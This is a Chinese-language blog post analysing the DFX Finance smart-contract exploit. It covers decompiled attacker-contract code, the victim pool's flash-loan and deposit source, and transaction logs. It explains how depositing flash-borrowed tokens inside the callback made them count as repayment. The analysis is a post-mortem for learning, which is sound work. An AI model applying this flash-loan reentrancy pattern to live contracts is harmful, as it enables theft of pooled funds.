{"content":{"title":"DFX-Finance-attack","body":"# 信息\r\n\r\n攻击者地址：0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067\r\n\r\n分析的交易：0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7\r\n\r\n发起攻击的合约：0x6cfa86a352339e766ff1ca119c8c40824f41f22d\r\n\r\n函数调用参数：https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7\r\n\r\ntenderly: https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7\r\n\r\n代码和分析打包：https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq\r\n\r\n# 发起攻击的合约逆向\r\n\r\n完整逆向代码见：https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1\r\n\r\n首先攻击者调用攻击合约，逆向代码进行了简化，攻击者设置了一些 require，防止被 bot 抢跑，这里我们删除这些语句还有逆向代码。\r\n\r\n```solidity\r\nfunction 0xb727281f(uint256 varg0, uint256 varg1) public payable {\r\n    require(4 + (msg.data.length - 4) - 4 >= 64);\r\n    require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);\r\n    stor_5 = varg0;\r\n    stor_9 = varg1;\r\n    v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);\r\n    RETURNDATACOPY(v1, 0, RETURNDATASIZE());\r\n    MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);\r\n    if (1 < MEM[v1 + MEM[v1 + 32]]) {\r\n        if (0 < MEM[v1 + MEM[v1 + 32]]) {\r\n            0x34d3();\r\n            exit;\r\n        }\r\n    }\r\n    revert(Panic(50));\r\n}\r\n```\r\n\r\n` v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);` 调用了如下函数，位于 `Curve/contracts/Curve.sol#550`\r\n\r\n```solidity\r\n    /// @notice view deposits and curves minted a given deposit would return\r\n    /// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the\r\n    ///                 prevailing proportions of the numeraire assets of the pool\r\n    /// @return (the amount of curves you receive in return for your deposit,\r\n    ///          the amount deposited for each numeraire)\r\n    function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) {\r\n        // curvesToMint_, depositsToMake_\r\n        return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);\r\n    }\r\n```\r\n\r\n`ProportionalLiquidity.viewProportionalDeposit` 是库合约中的函数，位于 `Curve/contracts/ProportionalLiquidity.sol#78`，第一个参数 `curve` 是一个结构体包括各种属性，第二个是计划存入的金额。具体内容不细致分析，读者感兴趣可以自行查看源码。这一段的作用是用于查看如果存入这么多金额，应该会返回多少代币。\r\n\r\n之后经过很多检查后，攻击的合约执行如下函数：\r\n\r\n```solidity\r\nfunction 0x34d3() private {\r\n    v0 = 0x3774(stor_9, stor_7);\r\n    v1 = 0x37e1(1000, v0);\r\n    v2 = _SafeSub(v1, stor_7);\r\n    v3 = 0x3774(stor_9, _uniswapV3FlashCallback);\r\n    v4 = 0x37e1(1000, v3);\r\n    v5 = _SafeSub(v4, _uniswapV3FlashCallback);\r\n    require(stor_0_0_19.code.size);\r\n    v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);\r\n    require(v6); // checks call status, propagates error data on error\r\n    require(stor_0_0_19.code.size);\r\n    v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);\r\n    require(v7); // checks call status, propagates error data on error\r\n    MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);\r\n    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);\r\n    0x43bd(v8);\r\n    require(stor_0_0_19.code.size);\r\n    v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);\r\n    require(v9); // checks call status, propagates error data on error\r\n    return ;\r\n}\r\n```\r\n\r\n其中 `0x3774` `0x37e1` 等函数是算术运算，不细看，直到开始调用 `v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);`。\r\n\r\n```solidity\r\n    function flash(\r\n        address recipient,\r\n        uint256 amount0,\r\n        uint256 amount1,\r\n        bytes calldata data\r\n    ) external transactable noDelegateCall isNotEmergency {\r\n        uint256 fee = curve.epsilon.mulu(1e18);\r\n\r\n        require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth');\r\n        require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/token1-zero-liquidity-depth');\r\n\r\n        uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);\r\n        uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);\r\n        uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));\r\n        uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));\r\n\r\n        if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);\r\n        if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);\r\n\r\n        IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);\r\n\r\n        uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));\r\n        uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));\r\n\r\n        require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');\r\n        require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');\r\n\r\n        // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\r\n        uint256 paid0 = balance0After - balance0Before;\r\n        uint256 paid1 = balance1After - balance1Before;\r\n\r\n        IERC20(derivatives[0]).safeTransfer(owner, paid0);\r\n        IERC20(derivatives[1]).safeTransfer(owner, paid1);\r\n\r\n        emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\r\n    }\r\n```\r\n\r\n这是非常标准的闪电贷代码，关键是 `IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);` 回调了。\r\n\r\n回调的攻击者合约代码如下（也做了简化）：\r\n\r\n```solidity\r\nfunction 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable {\r\n    v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);\r\n}\r\n```\r\n\r\n非常直接的开始存款，函数如下：\r\n\r\n```solidity\r\n    /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports\r\n    /// @param  _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst\r\n    ///                  the numeraire assets of the pool\r\n    /// @return (the amount of curves you receive in return for your deposit,\r\n    ///          the amount deposited for each numeraire)\r\n    function deposit(uint256 _deposit, uint256 _deadline)\r\n        external\r\n        deadline(_deadline)\r\n        transactable\r\n        nonReentrant\r\n        noDelegateCall\r\n        notInWhitelistingStage\r\n        isNotEmergency\r\n        returns (uint256, uint256[] memory)\r\n    {\r\n        // (curvesMinted_,  deposits_)\r\n        return ProportionalLiquidity.proportionalDeposit(curve, _deposit);\r\n    }\r\n```\r\n\r\n具体参数 `deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600)`。它直接调用了库函数。\r\n\r\n```solidity\r\nfunction proportionalDeposit(Storage.Curve storage curve, uint256 _deposit)\r\n        external\r\n        returns (uint256 curves_, uint256[] memory)\r\n    {\r\n        int128 __deposit = _deposit.divu(1e18);\r\n\r\n        uint256 _length = curve.assets.length;\r\n\r\n        uint256[] memory deposits_ = new uint256[](_length);\r\n\r\n        (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);\r\n\r\n        // Needed to calculate liquidity invariant\r\n        // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve);\r\n\r\n        // No liquidity, oracle sets the ratio\r\n        if (_oGLiq == 0) {\r\n            for (uint256 i = 0; i < _length; i++) {\r\n                // Variable here to avoid stack-too-deep errors\r\n                int128 _d = __deposit.mul(curve.weights[i]);\r\n                deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI));\r\n            }\r\n        } else {\r\n            // We already have an existing pool ratio\r\n            // which must be respected\r\n            int128 _multiplier = __deposit.div(_oGLiq);\r\n\r\n            uint256 _baseWeight = curve.weights[0].mulu(1e18);\r\n            uint256 _quoteWeight = curve.weights[1].mulu(1e18);\r\n\r\n            for (uint256 i = 0; i < _length; i++) {\r\n                deposits_[i] = Assimilators.intakeNumeraireLPRatio(\r\n                    curve.assets[i].addr,\r\n                    _baseWeight,\r\n                    _quoteWeight,\r\n                    _oBals[i].mul(_multiplier).add(ONE_WEI)\r\n                );\r\n            }\r\n        }\r\n\r\n        int128 _totalShells = curve.totalSupply.divu(1e18);\r\n\r\n        int128 _newShells = __deposit;\r\n\r\n        if (_totalShells > 0) {\r\n            _newShells = __deposit.mul(_totalShells);\r\n            _newShells = _newShells.div(_oGLiq);\r\n        }\r\n\r\n        mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));\r\n\r\n        return (curves_, deposits_);\r\n    }\r\n```\r\n\r\n`getGrossLiquidityAndBalancesForDeposit(curve)` 计算之前存款的总流动性和余额，然后在 `Assimilators.intakeNumeraireLPRatio` 计算了存入金额和 LP 的比率，然后攻击者合约给 curve 合约打钱。下面是两个日志\r\n\r\n```\r\n{\r\n\"from\":\"0x6cfa86a352339e766ff1ca119c8c40824f41f22d\"\r\n\"to\":\"0x46161158b1947d9149e066d6d31af1283b2d377c\"\r\n\"value\":\"2325581395325581\"\r\n}\r\n\r\n{\r\n\"from\":\"0x6cfa86a352339e766ff1ca119c8c40824f41f22d\"\r\n\"to\":\"0x46161158b1947d9149e066d6d31af1283b2d377c\"\r\n\"value\":\"100000000000\"\r\n}\r\n```\r\n\r\n之后 mint 代币给攻击者合约。\r\n\r\n```\r\n{\r\n\"from\":\"0x0000000000000000000000000000000000000000\"\r\n\"to\":\"0x6cfa86a352339e766ff1ca119c8c40824f41f22d\"\r\n\"value\":\"387023837944937266146579\"\r\n}\r\n```\r\n\r\n当 flash 回调结束的时候\r\n\r\n```\r\nbalance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492c\r\nbalance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac\r\n\r\nbalance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1d\r\nbalance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac\r\n\r\npaid0 = 0xcb0ccb7c0f1\r\npaid1 = 0x23c34600\r\n```\r\n\r\n说明还需要支付的代币已经少了很多了，因为最开始借贷的代币数量是：\r\n\r\n```\r\n{\r\n\"from\":\"0x46161158b1947d9149e066d6d31af1283b2d377c\"\r\n\"to\":\"0x6cfa86a352339e766ff1ca119c8c40824f41f22d\"\r\n\"value\":\"0x83669d03f319c\"\r\n}\r\n\r\n{\r\n\"from\":\"0x46161158b1947d9149e066d6d31af1283b2d377c\"\r\n\"to\":\"0x6cfa86a352339e766ff1ca119c8c40824f41f22d\"\r\n\"value\":\"0x1724b3a200\"\r\n}\r\n```\r\n\r\n说明攻击者空手套白狼了两种代币，分别为 `0x829b9038770ab` `0x1700f05c00`，需要还闪电贷的只是一个零头。通过多次这样的交易，攻击者大量套利。\r\n\r\n感觉这个逻辑还是简单的，可能一个合约中不能出现重入比较好，或者说是业务逻辑考虑不周全，没有考虑其他函数造成的 balance 改变对 flash 的影响。一般考虑清楚每个 callback，考虑清楚每个函数依赖的变量是否可能在调用过程中篡改，就能避免很多问题。这里稍微复杂以下的是，获取 balance 的过程基本都是用到了代理合约还有计算汇率是采用了自己 abi 编码其他合约去处理，导致中间一大堆调用，跳过就好。\r\n\r\n**攻击的核心是在 curve 闪电贷的回调函数里，攻击者将借贷的代币存入 curve 合约，因为 curve 通过 balance(curve) 获取余额，所以存入的代币也被视作还款了。**\r\n\r\n欢迎关注个人博客，交流学习：https://www.blog-blockchain.xyz/"},"author":{"user":"https://learnblockchain.cn/people/1890","address":null},"history":"QmVQWvTNrhWiHXpnHoW1SHUFV8ddndfWotwNRWeT1dtXje","timestamp":1670723725,"version":1}